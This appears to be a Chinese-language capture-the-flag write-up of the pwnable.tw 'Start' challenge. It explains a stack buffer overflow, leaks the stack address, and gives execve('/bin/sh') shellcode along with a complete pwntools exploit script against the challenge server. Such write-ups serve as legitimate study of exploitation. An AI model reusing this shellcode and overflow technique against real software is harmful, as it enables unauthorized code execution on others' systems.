Pwnable_Start
初始阶段先查文件信息
https://img2024.cnblogs.com/blog/3392182/202411/3392182-20241119205042366-879576727.png
start题目,通通没有开启。
获得信息,小端序
分析阶段
https://img2024.cnblogs.com/blog/3392182/202411/3392182-20241119205431856-516042095.png
发现没有main函数,只有汇编代码
https://img2024.cnblogs.com/blog/3392182/202411/3392182-20241119205529296-1035133231.png
运行看一下
https://img2024.cnblogs.com/blog/3392182/202411/3392182-20241119205603637-1945460438.png
这里esp先入栈,随后的xor等清空寄存器,然后又push进去了Let`s start the CTF:的字符。
下面提醒调用了sys_write函数,
即调用80h中断的四号步调sys_write 表现字符串
调用80h中断的三号步调sys_read 读入字符串
可以查看system_call_table网址https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 选择对应的体系即可获得
https://img2024.cnblogs.com/blog/3392182/202411/3392182-20241119211332409-489134563.png
漏洞存在
可以看到write函数提供了0x14大小,而read的大小的0x3C,显然存在漏洞。
add esp,14h
retn
最后返回到esp后20字节的地方,再次给了机会
获取shell
1.获得esp所在用于覆盖返回所在,执行shellcode
2.让shellcode覆盖栈内里的数据
需要明白的是,当write进去20(0x14)个字节时,read读入的不止这些,还会继承读,而这时提前给esp规划的20个字节空间已经用完,会retn到 输入的20个字节后面的地方,可以造成esp所在的泄露。
1.payload = b'a' * 20 + p32(0x08048087)
获得esp的所在之后编写shellcode,
利用80h中断中的sys_execve:
点击查看代码31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数/bin/sh
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断中b号程序:sys_execve
cd 80 int 0x80shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
获得富足信息后,shellcode执行
2.payload = b'a' * 20 + p32('esp的所在' + 20) + shellcode
exp:
点击查看代码from pwn import *
context(os='linux', arch='amd64', log_level='debug')
def main():
content = 0# 改为 1 测试本地程序
if content == 1:
io = process("./start")
else:
io = remote('chall.pwnable.tw', 10000)
payload = b'a' * 20 + p32(0x08048087)
io.recvuntil(':')
io.send(payload)
addr = u32(io.recv(4)) + 0x14
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'a' * 20 + p32(addr) + shellcode
io.send(payload)
io.interactive()
if __name__ == "__main__":
main()参考文章:https://www.anquanke.com/post/id/150359,https://blog.csdn.net/qq_43935969/article/details/105717621
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]